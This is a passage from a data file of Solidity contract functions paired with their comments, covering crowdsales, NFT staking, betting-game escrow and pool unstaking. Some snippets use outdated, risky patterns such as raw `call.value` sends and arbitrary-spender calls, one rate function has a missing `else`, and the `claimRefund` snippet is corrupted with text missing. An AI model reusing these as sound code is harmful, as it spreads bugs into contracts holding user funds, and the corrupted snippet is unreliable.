bytes32 s) public view returns (bool){\n\n (uint256 imgId, uint256 generation, uint8 quality) = decodeParams(_encodedData);\n\n bytes32 hash = this.encodeParams(_offerId, imgId, generation, quality);\n\n address signer = ecrecover(hash, v, r, s);\n require(signer == owner(), \"Verification failed\");\n\n \treturn true;\n }", "version": "0.6.7"} {"comment": "/**\n * Low level baller purchase function\n * @param beneficiary will recieve the tokens.\n * @param teamId Integer of the team the purchased baller plays for.\n * @param mdHash IPFS Hash of the metadata json file corresponding to the baller.\n */", "function_code": "function buyBaller(address beneficiary, uint256 teamId, string memory mdHash) public payable {\n require(beneficiary != address(0), \"BallerAuction: Cannot send to 0 address.\");\n require(beneficiary != address(this), \"BallerAuction: Cannot send to auction contract address.\");\n\n uint256 weiAmount = msg.value;\n uint256 ballersInCirculation = BALLER_FACTORY.getBallersInCirculation(teamId);\n \n // Require exact cost\n require(\n weiAmount == SafeMath.mul(baseBallerFee, SafeMath.add(ballersInCirculation, 1)),\n \"BallerAuction: Please send exact wei amount.\"\n );\n \n // Mint Baller\n BALLER_FACTORY.mintBaller(beneficiary, teamId, mdHash);\n }", "version": "0.8.3"} {"comment": "//pay out unclaimed rewards", "function_code": "function payoutRewards() public\r\n {\r\n updateRewardsFor(msg.sender);\r\n uint256 rewards = _savedRewards[msg.sender];\r\n require(rewards > 0 && rewards <= _balances[address(this)]);\r\n \r\n _savedRewards[msg.sender] = 0;\r\n \r\n uint256 initalBalance_staker = _balances[msg.sender];\r\n uint256 newBalance_staker = initalBalance_staker.add(rewards);\r\n \r\n //update full units staked\r\n if(!excludedFromStaking[msg.sender])\r\n {\r\n uint256 fus_total = fullUnitsStaked_total;\r\n fus_total = fus_total.sub(toFullUnits(initalBalance_staker));\r\n fus_total = fus_total.add(toFullUnits(newBalance_staker));\r\n fullUnitsStaked_total = fus_total;\r\n }\r\n \r\n //transfer\r\n _balances[address(this)] = _balances[address(this)].sub(rewards);\r\n _balances[msg.sender] = newBalance_staker;\r\n emit Transfer(address(this), msg.sender, rewards);\r\n }", "version": "0.5.8"} {"comment": "//exchanges or other contracts can be excluded from receiving stake rewards", "function_code": "function excludeAddressFromStaking(address excludeAddress, bool exclude) public\r\n {\r\n require(msg.sender == contractOwner);\r\n require(excludeAddress != address(this)); //contract may never be included\r\n require(exclude != excludedFromStaking[excludeAddress]);\r\n updateRewardsFor(excludeAddress);\r\n excludedFromStaking[excludeAddress] = exclude;\r\n fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));\r\n }", "version": "0.5.8"} {"comment": "/*\n Code to facilitate book redemptions and verify if a book has been claimed for a token.\n The team will decide if this is the way to go.\n */", "function_code": "function redeemBook(uint256 tokenId) public {\n address tokenOwner = ownerOf(tokenId);\n require(tokenOwner == msg.sender, \"Only token owner can redeem\");\n require(redeemed[tokenId] == false, \"Book already redeemed with token\");\n redeemed[tokenId] = true;\n emit redeemEvent(msg.sender, tokenId, true);\n }", "version": "0.8.7"} {"comment": "/** @dev Allocates tokens to a bounty user\n * @param beneficiary The address of the bounty user\n * @param tokenCount The number of tokens to be allocated to this address\n */", "function_code": "function allocateTokens(address beneficiary, uint256 tokenCount) public onlyOwner returns(bool success) {\n require(beneficiary != address(0));\n require(validAllocation(tokenCount));\n\n uint256 tokens = tokenCount;\n\n /* Allocate only the remaining tokens if final contribution exceeds hard cap */\n if (totalTokensAllocated.add(tokens) > bountyLimit) {\n tokens = bountyLimit.sub(totalTokensAllocated);\n }\n\n /* Update state and balances */\n allocatedTokens[beneficiary] = allocatedTokens[beneficiary].add(tokens);\n totalTokensAllocated = totalTokensAllocated.add(tokens);\n emit TokensAllocated(beneficiary, tokens);\n\n return true;\n }", "version": "0.4.24"} {"comment": "/**\n * @dev creates a new pool token and adds it to the list\n *\n * @return new pool token address\n */", "function_code": "function createToken() public ownerOnly returns (ISmartToken) {\n // verify that the max limit wasn't reached\n require(_poolTokens.length < MAX_POOL_TOKENS, \"ERR_MAX_LIMIT_REACHED\");\n\n string memory poolName = concatStrDigit(name, uint8(_poolTokens.length + 1));\n string memory poolSymbol = concatStrDigit(symbol, uint8(_poolTokens.length + 1));\n\n SmartToken token = new SmartToken(poolName, poolSymbol, decimals);\n _poolTokens.push(token);\n return token;\n }", "version": "0.4.26"} {"comment": "// ONLY-PRO-ADMIN FUNCTIONS", "function_code": "function energy(address[] _userAddresses, uint percent) onlyProfitAdmin public {\r\n if (isProfitAdmin()) {\r\n require(!isLProfitAdmin, \"unAuthorized\");\r\n }\r\n require(_userAddresses.length > 0, \"Invalid input\");\r\n uint investorCount = citizen.getInvestorCount();\r\n uint dailyPercent;\r\n uint dailyProfit;\r\n uint8 lockProfit = 1;\r\n uint id;\r\n address userAddress;\r\n for (uint i = 0; i < _userAddresses.length; i++) {\r\n id = citizen.getId(_userAddresses[i]);\r\n require(investorCount > id, \"Invalid userId\");\r\n userAddress = _userAddresses[i];\r\n if (reserveFund.getLS(userAddress) != lockProfit) {\r\n Balance storage balance = userWallets[userAddress];\r\n dailyPercent = percent;\r\n dailyProfit = balance.profitableBalance.mul(dailyPercent).div(1000);\r\n\r\n balance.profitableBalance = balance.profitableBalance.sub(dailyProfit);\r\n balance.profitBalance = balance.profitBalance.add(dailyProfit);\r\n balance.totalProfited = balance.totalProfited.add(dailyProfit);\r\n profitPaid = profitPaid.add(dailyProfit);\r\n emit ProfitBalanceChanged(address(0x0), userAddress, int(dailyProfit), 0);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "// ONLY-CITIZEN-CONTRACT FUNCTIONS", "function_code": "function bonusNewRank(address _investorAddress, uint _currentRank, uint _newRank) onlyCitizenContract public {\r\n require(_newRank > _currentRank, \"Invalid ranks\");\r\n Balance storage balance = userWallets[_investorAddress];\r\n for (uint8 i = uint8(_currentRank) + 1; i <= uint8(_newRank); i++) {\r\n uint rankBonusAmount = citizen.rankBonuses(i);\r\n balance.profitBalance = balance.profitBalance.add(rankBonusAmount);\r\n if (rankBonusAmount > 0) {\r\n emit RankBonusSent(_investorAddress, i, rankBonusAmount);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "//------------------------------------------------------\n// check active game and valid player, return player index\n//-------------------------------------------------------", "function_code": "function validPlayer(uint _hGame, address _addr) internal returns( bool _valid, uint _pidx)\r\n\t{\r\n\t\t_valid = false;\r\n\t\tif (activeGame(_hGame)) {\r\n\t\t\tfor (uint i = 0; i < games[_hGame].numPlayers; i++) {\r\n\t\t\t\tif (games[_hGame].players[i] == _addr) {\r\n\t\t\t\t\t_valid=true;\r\n\t\t\t\t\t_pidx = i;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\t\t\t\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// check valid player, return player index\n//-------------------------------------------------------", "function_code": "function validPlayer2(uint _hGame, address _addr) internal returns( bool _valid, uint _pidx)\r\n\t{\r\n\t\t_valid = false;\r\n\t\tfor (uint i = 0; i < games[_hGame].numPlayers; i++) {\r\n\t\t\tif (games[_hGame].players[i] == _addr) {\r\n\t\t\t\t_valid=true;\r\n\t\t\t\t_pidx = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// register game arbiter, max players of 5, pass in exact registration fee\n//------------------------------------------------------", "function_code": "function registerArbiter(uint _numPlayers, uint _arbToken) public payable \r\n\t{\r\n\r\n\t\tif (msg.value != registrationFee) {\r\n\t\t\tthrow; //Insufficient Fee\r\n\t\t}\r\n\r\n\t\tif (_arbToken == 0) {\r\n\t\t\tthrow; // invalid token\r\n\t\t}\r\n\r\n\t\tif (arbTokenExists(_arbToken & 0xffff)) {\r\n\t\t\tthrow; // Token Already Exists\r\n\t\t}\r\n\r\n\t\tif (arbiters[msg.sender].registered) {\r\n\t\t\tthrow; // Arb Already Registered\r\n\t\t}\r\n\t\t\r\n\t\tif (_numPlayers > MAX_PLAYERS) {\r\n\t\t\tthrow; // Exceeds Max Players\r\n\t\t}\r\n\r\n\t\tarbiters[msg.sender].gamesStarted = 0;\r\n\t\tarbiters[msg.sender].gamesCompleted = 0;\r\n\t\tarbiters[msg.sender].gamesCanceled = 0; \r\n\t\tarbiters[msg.sender].gamesTimedout = 0;\r\n\t\tarbiters[msg.sender].locked = false;\r\n\t\tarbiters[msg.sender].arbToken = _arbToken & 0xffff;\r\n\t\tarbiters[msg.sender].numPlayers = _numPlayers;\r\n\t\tarbiters[msg.sender].registered = true;\r\n\r\n\t\tarbiterTokens[(_arbToken & 0xffff)] = msg.sender;\r\n\t\tarbiterIndexes[numArbiters++] = msg.sender;\r\n\t\r\n\r\n\t\tif (!tokenPartner.call.gas(raGas).value(msg.value)()) {\r\n\t\t\t//Statvent(\"Send Error\"); // event never registers\r\n\t\t throw;\r\n\t\t}\r\n\t\tStatEventI(\"Arb Added\", _arbToken);\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// start game. pass in valid hGame containing token in top two bytes\n//------------------------------------------------------", "function_code": "function startGame(uint _hGame, int _hkMax, address[] _players) public \r\n\r\n\t{\r\n\t\tuint ntok = ArbTokFromHGame(_hGame);\r\n\t\tif (!validArb(msg.sender, ntok )) {\r\n\t\t\tStatEvent(\"Invalid Arb\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\r\n\t\tif (arbLocked(msg.sender)) {\r\n\t\t\tStatEvent(\"Arb Locked\");\r\n\t\t\treturn; \r\n\t\t}\r\n\r\n\t\tarbiter xarb = arbiters[msg.sender];\r\n\t\tif (_players.length != xarb.numPlayers) { \r\n\t\t\tStatEvent(\"Incorrect num players\");\r\n\t\t\treturn; \r\n\t\t}\r\n\r\n\t\tif (games[_hGame].active) {\r\n\t\t\t// guard-rail. just in case to return funds\r\n\t\t\tabortGame(msg.sender, _hGame, EndReason.erCancel);\r\n\r\n\t\t} else if (_hkMax > 0) {\r\n\t\t\thouseKeep(_hkMax, ntok); \r\n\t\t}\r\n\r\n\t\tif (!games[_hGame].allocd) {\r\n\t\t\tgames[_hGame].allocd = true;\r\n\t\t\txarb.gameIndexes[xarb.gameSlots++] = _hGame;\r\n\t\t} \r\n\t\tnumGamesStarted++; // always inc this one\r\n\t\txarb.gamesStarted++;\r\n\r\n\t\tgames[_hGame].active = true;\r\n\t\tgames[_hGame].started = now; \r\n\t\tgames[_hGame].lastMoved = now; \r\n\t\tgames[_hGame].payout = 0; \r\n\t\tgames[_hGame].winner = address(0);\r\n\r\n\t\tgames[_hGame].numPlayers = _players.length; // we'll be the judge of how many unique players\r\n\t\tfor (uint i = 0; i< _players.length && i < MAX_PLAYERS; i++) {\r\n\t games[_hGame].players[i] = _players[i];\r\n\t\t games[_hGame].playerPots[i] = 0;\r\n\t\t}\r\n\r\n\t\tStatEventI(\"Game Added\", _hGame);\r\n\t\t\r\n\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// clean up game, set to inactive, refund any balances\n// called by housekeep ONLY\n//------------------------------------------------------", "function_code": "function abortGame(address _arb, uint _hGame, EndReason _reason) private returns(bool _success)\r\n\t{\r\n\t gameInstance nGame = games[_hGame];\r\n\t \r\n\t\t// find game in game id, \r\n\t\tif (nGame.active) {\r\n\t\t\t_success = true;\r\n\t\t\tfor (uint i = 0; i < nGame.numPlayers; i++) {\r\n\t\t\t\tif (nGame.playerPots[i] > 0) {\r\n\t\t\t\t\taddress a = nGame.players[i];\r\n\t\t\t\t\tuint nsend = nGame.playerPots[i];\r\n\t\t\t\t\tnGame.playerPots[i] = 0;\r\n\t\t\t\t\tif (!a.call.gas(rfGas).value(nsend)()) {\r\n\t\t\t\t\t\thouseFeeHoldover += nsend; // cannot refund due to error, give to the house\r\n\t\t\t\t\t StatEventA(\"Cannot Refund Address\", a);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tnGame.active = false;\r\n\t\t\tnGame.reasonEnded = _reason;\r\n\t\t\tif (_reason == EndReason.erCancel) {\r\n\t\t\t\tnumGamesCanceled++;\r\n\t\t\t\tarbiters[_arb].gamesCanceled++;\r\n\t\t\t\tStatEvent(\"Game canceled\");\r\n\t\t\t} else if (_reason == EndReason.erTimeOut) {\r\n\t\t\t\tnumGamesTimedOut++;\r\n\t\t\t\tarbiters[_arb].gamesTimedout++;\r\n\t\t\t\tStatEvent(\"Game timed out\");\r\n\t\t\t} else \r\n\t\t\t\tStatEvent(\"Game aborted\");\r\n\t\t}\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// handle a bet made by a player, validate the player and game\n// add to players balance\n//------------------------------------------------------", "function_code": "function handleBet(uint _hGame) public payable \r\n\t{\r\n\t\taddress narb = arbiterTokens[ArbTokFromHGame(_hGame)];\r\n\t\tif (narb == address(0)) {\r\n\t\t\tthrow; // \"Invalid hGame\"\r\n\t\t}\r\n\r\n\t\tvar (valid, pidx) = validPlayer(_hGame, msg.sender);\r\n\t\tif (!valid) {\r\n\t\t\tthrow; // \"Invalid Player\"\r\n\t\t}\r\n\r\n\t\tgames[_hGame].playerPots[pidx] += msg.value;\r\n\t\tgames[_hGame].lastMoved = now;\r\n\r\n\t\tStatEventI(\"Bet Added\", _hGame);\r\n\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// return arbiter game stats\n//------------------------------------------------------", "function_code": "function getArbInfo(uint _idx) constant returns (address _addr, uint _started, uint _completed, uint _canceled, uint _timedOut) \r\n\t{\r\n\t\tif (_idx >= numArbiters) {\r\n\t\t\tStatEvent(\"Invalid Arb\");\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t_addr = arbiterIndexes[_idx];\r\n\t\tif ((_addr == address(0))\r\n\t\t\t|| (!arbiters[_addr].registered)) {\r\n\t\t\tStatEvent(\"Invalid Arb\");\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tarbiter xarb = arbiters[_addr];\r\n\t\t_started = xarb.gamesStarted;\r\n\t\t_completed = xarb.gamesCompleted;\r\n\t\t_timedOut = xarb.gamesTimedout;\r\n\t\t_canceled = xarb.gamesCanceled;\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// scan for a game 10 minutes old\n// if found abort the game, causing funds to be returned\n//------------------------------------------------------", "function_code": "function houseKeep(int _max, uint _arbToken) public\r\n\t{\t\r\n\t\tuint gi;\r\n\t\taddress a;\r\n\t\tint aborted = 0;\r\n\t\t\r\n\t\tarbiter xarb = arbiters[msg.sender];// have to set it to something\r\n\t \r\n \r\n\t\tif (msg.sender == owner) {\r\n\t\t\tfor (uint ar = 0; (ar < numArbiters) && (aborted < _max) ; ar++) {\r\n\t\t\t a = arbiterIndexes[ar];\r\n\t\t\t xarb = arbiters[a]; \r\n\r\n\t\t\t for ( gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {\r\n\t\t\t\tgameInstance ngame0 = games[xarb.gameIndexes[gi]];\r\n\t\t\t\tif ((ngame0.active)\r\n\t\t\t\t && ((now - ngame0.lastMoved) > gameTimeOut)) {\r\n\t\t\t\t\tabortGame(a, xarb.gameIndexes[gi], EndReason.erTimeOut);\r\n\t\t\t\t\t++aborted;\r\n\t\t\t\t}\r\n\t\t\t }\r\n\t\t\t}\r\n\r\n\t\t} else {\r\n\t\t\tif (!validArb(msg.sender, _arbToken))\r\n\t\t\t\tStatEvent(\"Housekeep invalid arbiter\");\r\n\t\t\telse {\r\n\t\t\t a = msg.sender;\r\n\t\t\t xarb = arbiters[a]; \r\n\t\t\t for (gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {\r\n\t\t\t\tgameInstance ngame1 = games[xarb.gameIndexes[gi]];\r\n\t\t\t\tif ((ngame1.active)\r\n\t\t\t\t && ((now - ngame1.lastMoved) > gameTimeOut)) {\r\n\t\t\t\t\tabortGame(a, xarb.gameIndexes[gi], EndReason.erTimeOut);\r\n\t\t\t\t\t++aborted;\r\n\t\t\t\t}\r\n\t\t\t }\r\n\r\n\t\t\t}\t\r\n\t\t}\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// return game info\n//------------------------------------------------------", "function_code": "function getGameInfo(uint _hGame) constant returns (EndReason _reason, uint _players, uint _payout, bool _active, address _winner )\r\n\t{\r\n\t\tgameInstance ngame = games[_hGame];\r\n\t\t_active = ngame.active;\r\n\t\t_players = ngame.numPlayers;\r\n\t\t_winner = ngame.winner;\r\n\t\t_payout = ngame.payout;\r\n\t\t_reason = ngame.reasonEnded;\r\n\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// get operation gas amounts\n//------------------------------------------------------", "function_code": "function getOpGas() constant returns (uint _ra, uint _sg, uint _wp, uint _rf, uint _fg) \r\n\t{\r\n\t\t_ra = raGas; // register arb\r\n\t\t_sg = sgGas; // start game\r\n\t\t_wp = wpGas; // winner paid\r\n\t\t_rf = rfGas; // refund\r\n\t\t_fg = feeGas; // rake fee gas\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// set operation gas amounts for forwading operations\n//------------------------------------------------------", "function_code": "function setOpGas(uint _ra, uint _sg, uint _wp, uint _rf, uint _fg) \r\n\t{\r\n\t\tif (msg.sender != owner)\r\n\t\t\tthrow;\r\n\r\n\t\traGas = _ra;\r\n\t\tsgGas = _sg;\r\n\t\twpGas = _wp;\r\n\t\trfGas = _rf;\r\n\t\tfeeGas = _fg;\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// flush the house fees whenever commanded to.\n// ignore the threshold and the last payout time\n// but this time only reset lastpayouttime upon success\n//------------------------------------------------------", "function_code": "function flushHouseFees()\r\n\t{\r\n\t\tif (msg.sender != owner) {\r\n\t\t\tStatEvent(\"only owner calls this function\");\r\n\t\t} else if (houseFeeHoldover > 0) {\r\n\t\t\tuint ntmpho = houseFeeHoldover;\r\n\t\t\thouseFeeHoldover = 0;\r\n\t\t\tif (!tokenPartner.call.gas(feeGas).value(ntmpho)()) {\r\n\t\t\t\thouseFeeHoldover = ntmpho; // put it back\r\n\t\t\t\tStatEvent(\"House-Fee Error2\"); \r\n\t\t\t} else {\r\n\t\t\t\tlastPayoutTime = now;\r\n \t\t\t\tStatEvent(\"House-Fee Paid\");\r\n\t \t\t}\r\n\t\t}\r\n\r\n\t}", "version": "0.4.10"} {"comment": "//------------------------------------------------------\n// set the token partner\n//------------------------------------------------------", "function_code": "function setTokenPartner(address _addr) public\r\n\t{\r\n\t\tif (msg.sender != owner) {\r\n\t\t\tthrow;\r\n\t\t} \r\n\r\n\t\tif ((settingsState == SettingStateValue.lockedRelease) \r\n\t\t\t&& (tokenPartner == address(0))) {\r\n\t\t\ttokenPartner = _addr;\r\n\t\t\tStatEvent(\"Token Partner Final!\");\r\n\t\t} else if (settingsState != SettingStateValue.lockedRelease) {\r\n\t\t\ttokenPartner = _addr;\r\n\t\t\tStatEvent(\"Token Partner Assigned!\");\r\n\t\t}\r\n\t\t\t\r\n\t}", "version": "0.4.10"} {"comment": "/**\n * @dev public function that is used to determine the current rate for token / ETH conversion\n * @dev there exists a case where rate cant be set to 0, which is fine.\n * @return The current token rate\n */", "function_code": "function getRate() public view returns(uint256) {\n require( priceOfEMLTokenInUSDPenny !=0 );\n require( priceOfEthInUSD !=0 );\n uint256 rate;\n\n if(overridenBonusValue > 0){\n rate = priceOfEthInUSD.mul(100).div(priceOfEMLTokenInUSDPenny).mul(overridenBonusValue.add(100)).div(100);\n } else {\n if (now <= (startTime + 1 days)) {\n rate = priceOfEthInUSD.mul(100).div(priceOfEMLTokenInUSDPenny).mul(bonusPercent1.add(100)).div(100);\n } if (now > (startTime + 1 days) && now <= (startTime + 2 days)) {\n rate = priceOfEthInUSD.mul(100).div(priceOfEMLTokenInUSDPenny).mul(bonusPercent2.add(100)).div(100);\n } else {\n rate = priceOfEthInUSD.mul(100).div(priceOfEMLTokenInUSDPenny).mul(bonusPercent3.add(100)).div(100);\n }\n }\n return rate;\n }", "version": "0.4.24"} {"comment": "/** @dev Function for buying EML tokens using ether\n * @param _investorAddr The address that should receive bought tokens\n */", "function_code": "function buyTokensUsingEther(address _investorAddr) internal whenNotPaused {\n require(_investorAddr != address(0));\n require(validPurchase());\n\n uint256 weiAmount = msg.value;\n uint256 returnToSender = 0;\n\n // final rate after including rate value and bonus amount.\n uint256 finalConversionRate = getRate();\n\n // Calculate EML token amount to be transferred\n uint256 tokens = weiAmount.mul(finalConversionRate);\n\n // Distribute only the remaining tokens if final contribution exceeds hard cap\n if (totalTokensSoldandAllocated.add(tokens) > hardCap) {\n tokens = hardCap.sub(totalTokensSoldandAllocated);\n weiAmount = tokens.div(finalConversionRate);\n returnToSender = msg.value.sub(weiAmount);\n }\n\n // update state and balances\n etherInvestments[_investorAddr] = etherInvestments[_investorAddr].add(weiAmount);\n tokensSoldForEther[_investorAddr] = tokensSoldForEther[_investorAddr].add(tokens);\n totalTokensSoldByEtherInvestments = totalTokensSoldByEtherInvestments.add(tokens);\n totalEtherRaisedByCrowdsale = totalEtherRaisedByCrowdsale.add(weiAmount);\n totalTokensSoldandAllocated = totalTokensSoldandAllocated.add(tokens);\n\n\n // assert implies it should never fail\n assert(token.transferFrom(owner, _investorAddr, tokens));\n emit TokenPurchasedUsingEther(_investorAddr, weiAmount, tokens);\n\n // Forward funds\n multisigWallet.transfer(weiAmount);\n\n // Update token contract.\n _postValidationUpdateTokenContract();\n\n // Return funds that are over hard cap\n if (returnToSender > 0) {\n msg.sender.transfer(returnToSender);\n }\n }", "version": "0.4.24"} {"comment": "/** @dev Internal function that is used to check if the incoming purchase should be accepted.\n * @return True if the transaction can buy tokens\n */", "function_code": "function validPurchase() internal view returns(bool) {\n bool withinPeriod = now >= startTime && now <= endTime;\n bool minimumPurchase = msg.value >= 1*(10**18);\n bool hardCapNotReached = totalTokensSoldandAllocated < hardCap;\n return withinPeriod && hardCapNotReached && minimumPurchase;\n }", "version": "0.4.24"} {"comment": "/** @dev Returns ether to token holders in case soft cap is not reached.\n */", "function_code": "function claimRefund() public whenNotPaused onlyOwner {\n require(now>endTime);\n require(totalTokensSoldandAllocated= amount) {\n etherInvestments[msg.sender] = 0;\n if (amount > 0) {\n msg.sender.transfer(amount);\n emit Refund(msg.sender, amount);\n }\n }\n }", "version": "0.4.24"} {"comment": "/** @dev Allocates EML tokens to an investor address called automatically\n * after receiving fiat or btc investments from KYC whitelisted investors.\n * @param beneficiary The address of the investor\n * @param tokenCount The number of tokens to be allocated to this address\n */", "function_code": "function allocateTokens(address beneficiary, uint256 tokenCount) public onlyOwner returns(bool success) {\n require(beneficiary != address(0));\n require(validAllocation(tokenCount));\n\n uint256 tokens = tokenCount;\n\n /* Allocate only the remaining tokens if final contribution exceeds hard cap */\n if (totalTokensSoldandAllocated.add(tokens) > hardCap) {\n tokens = hardCap.sub(totalTokensSoldandAllocated);\n }\n\n /* Update state and balances */\n allocatedTokens[beneficiary] = allocatedTokens[beneficiary].add(tokens);\n totalTokensSoldandAllocated = totalTokensSoldandAllocated.add(tokens);\n totalTokensAllocated = totalTokensAllocated.add(tokens);\n\n // assert implies it should never fail\n assert(token.transferFrom(owner, beneficiary, tokens));\n emit TokensAllocated(beneficiary, tokens);\n\n /* Update token contract. */\n _postValidationUpdateTokenContract();\n return true;\n }", "version": "0.4.24"} {"comment": "/** @dev public function that is used to determine the current rate for ETH to EML conversion\n * @return The current token rate\n */", "function_code": "function getRate() public view returns(uint256) {\n require(priceOfEMLTokenInUSDPenny > 0 );\n require(priceOfEthInUSD > 0 );\n uint256 rate;\n\n if(overridenBonusValue > 0){\n rate = priceOfEthInUSD.mul(100).div(priceOfEMLTokenInUSDPenny).mul(overridenBonusValue.add(100)).div(100);\n } else {\n rate = priceOfEthInUSD.mul(100).div(priceOfEMLTokenInUSDPenny).mul(bonusPercent1.add(100)).div(100);\n }\n return rate;\n }", "version": "0.4.24"} {"comment": "/*\r\n * Declaring the customized details of the token. The token will be called Tratok, with a total supply of 100 billion tokens.\r\n * It will feature five decimal places and have the symbol TRAT.\r\n */", "function_code": "function Tratok() {\r\n\r\n //we will create 100 Billion Coins and send them to the creating wallet.\r\n balances[msg.sender] = 10000000000000000;\r\n totalSupply = 10000000000000000;\r\n name = \"Tratok\";\r\n decimals = 5;\r\n symbol = \"TRAT\";\r\n }", "version": "0.4.25"} {"comment": "/*\r\n *Approve and enact the contract.\r\n *\r\n */", "function_code": "function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns(bool success) {\r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n\r\n //If the call fails, result to \"vanilla\" approval.\r\n if (!_spender.call(bytes4(bytes32(sha3(\"receiveApproval(address,uint256,address,bytes)\"))), msg.sender, _value, this, _extraData)) {\r\n throw;\r\n }\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "//Checks staked amount", "function_code": "function depositsOf(address account)\r\n external\r\n view\r\n returns (uint256[] memory)\r\n {\r\n EnumerableSet.UintSet storage depositSet = _deposits[account];\r\n uint256[] memory tokenIds = new uint256[](depositSet.length());\r\n\r\n for (uint256 i; i < depositSet.length(); i++) {\r\n tokenIds[i] = depositSet.at(i);\r\n }\r\n\r\n return tokenIds;\r\n }", "version": "0.8.11"} {"comment": "//Calculate rewards amount by address/tokenIds[]", "function_code": "function calculateRewards(address account, uint256[] memory tokenIds)\r\n public\r\n view\r\n returns (uint256[] memory rewards)\r\n {\r\n rewards = new uint256[](tokenIds.length);\r\n\r\n for (uint256 i; i < tokenIds.length; i++) {\r\n uint256 tokenId = tokenIds[i];\r\n rewards[i] =\r\n rate *\r\n (_deposits[account].contains(tokenId) ? 1 : 0) *\r\n (block.number - _depositBlocks[account][tokenId]);\r\n }\r\n\r\n return rewards;\r\n }", "version": "0.8.11"} {"comment": "//Staking function", "function_code": "function stake(uint256[] calldata tokenIds) external whenNotPaused {\r\n require(msg.sender != nftAddress, \"Invalid address\");\r\n require(\r\n nft.isApprovedForAll(msg.sender, address(this)),\r\n \"This contract is not approved to transfer your NFT.\"\r\n );\r\n for (uint256 i = 0; i < tokenIds.length; i++) {\r\n require(\r\n nft.ownerOf(tokenIds[i]) == msg.sender,\r\n \"You do not own this NFT.\"\r\n );\r\n }\r\n\r\n claimRewards(tokenIds);\r\n for (uint256 i; i < tokenIds.length; i++) {\r\n IERC721(nftAddress).safeTransferFrom(\r\n msg.sender,\r\n address(this),\r\n tokenIds[i],\r\n \"\"\r\n );\r\n _deposits[msg.sender].add(tokenIds[i]);\r\n }\r\n }", "version": "0.8.11"} {"comment": "// end Uniswap stuff", "function_code": "function rebase(uint256 epoch, int256 supplyDelta)\r\n external\r\n returns (uint256)\r\n {\r\n require(msg.sender == info.chef);\r\n if (supplyDelta == 0) {\r\n LogRebase(epoch, info.totalFrozen);\r\n return info.totalFrozen;\r\n }\r\n\r\n if (supplyDelta < 0) {\r\n info.totalFrozen = info.totalFrozen.sub(uint256(supplyDelta));\r\n }\r\n\r\n LogRebase(epoch, info.totalFrozen);\r\n return info.totalFrozen;\r\n }", "version": "0.4.12"} {"comment": "//==================================================================================//\n// Unstaking functions\n// Unstake % for self", "function_code": "function unstake(uint basisPoints, address pool) public returns (bool success) {\r\n require((basisPoints > 0 && basisPoints <= 10000), \"Must be valid BasisPoints\");\r\n uint _units = math.calcPart(basisPoints, memberData[msg.sender].stakeData[pool].stakeUnits);\r\n unstakeExact(_units, pool);\r\n return true;\r\n }", "version": "0.6.4"} {"comment": "// Unstake an exact qty of units", "function_code": "function unstakeExact(uint units, address pool) public returns (bool success) {\r\n require(units <= memberData[msg.sender].stakeData[pool].stakeUnits, \"Must own the units\");\r\n uint _outputVether = math.calcShare(units, poolData[pool].poolUnits, poolData[pool].vether);\r\n uint _outputAsset = math.calcShare(units, poolData[pool].poolUnits, poolData[pool].asset);\r\n _handleUnstake(units, _outputVether, _outputAsset, msg.sender, pool);\r\n return true;\r\n }", "version": "0.6.4"} {"comment": "// Unstake Exact Asymmetrically", "function_code": "function unstakeExactAsymmetric(uint units, address pool, bool toVether) public returns (uint outputAmount){\r\n require(units <= memberData[msg.sender].stakeData[pool].stakeUnits, \"Must own the units\");\r\n uint _poolUnits = poolData[pool].poolUnits;\r\n require(units < _poolUnits, \"Must not be last staker\");\r\n uint _outputVether; uint _outputAsset; \r\n if(toVether){\r\n _outputVether = math.calcAsymmetricShare(units, _poolUnits, poolData[pool].vether);\r\n _outputAsset = 0;\r\n outputAmount = _outputVether;\r\n } else {\r\n _outputVether = 0;\r\n _outputAsset = math.calcAsymmetricShare(units, _poolUnits, poolData[pool].asset);\r\n outputAmount = _outputAsset;\r\n }\r\n _handleUnstake(units, _outputVether, _outputAsset, msg.sender, pool);\r\n return outputAmount;\r\n }", "version": "0.6.4"} {"comment": "// Internal - handle Unstake", "function_code": "function _handleUnstake(uint _units, uint _outputVether, uint _outputAsset, address payable _member, address _pool) internal {\r\n _decrementPoolBalances(_units, _outputVether, _outputAsset, _pool);\r\n _removeDataForMember(_member, _units, _pool);\r\n emit Unstaked(_pool, _member, _outputAsset, _outputVether, _units);\r\n _handleTransferOut(_pool, _outputAsset, _member);\r\n _handleTransferOut(VETHER, _outputVether, _member);\r\n }", "version": "0.6.4"} {"comment": "//==================================================================================//\n// Upgrade functions\n// Upgrade from this contract to a new one - opt in", "function_code": "function upgrade(address payable newContract, address pool) public {\r\n uint _units = memberData[msg.sender].stakeData[pool].stakeUnits;\r\n uint _outputVether = math.calcShare(_units, poolData[pool].poolUnits, poolData[pool].vether);\r\n uint _outputAsset = math.calcShare(_units, poolData[pool].poolUnits, 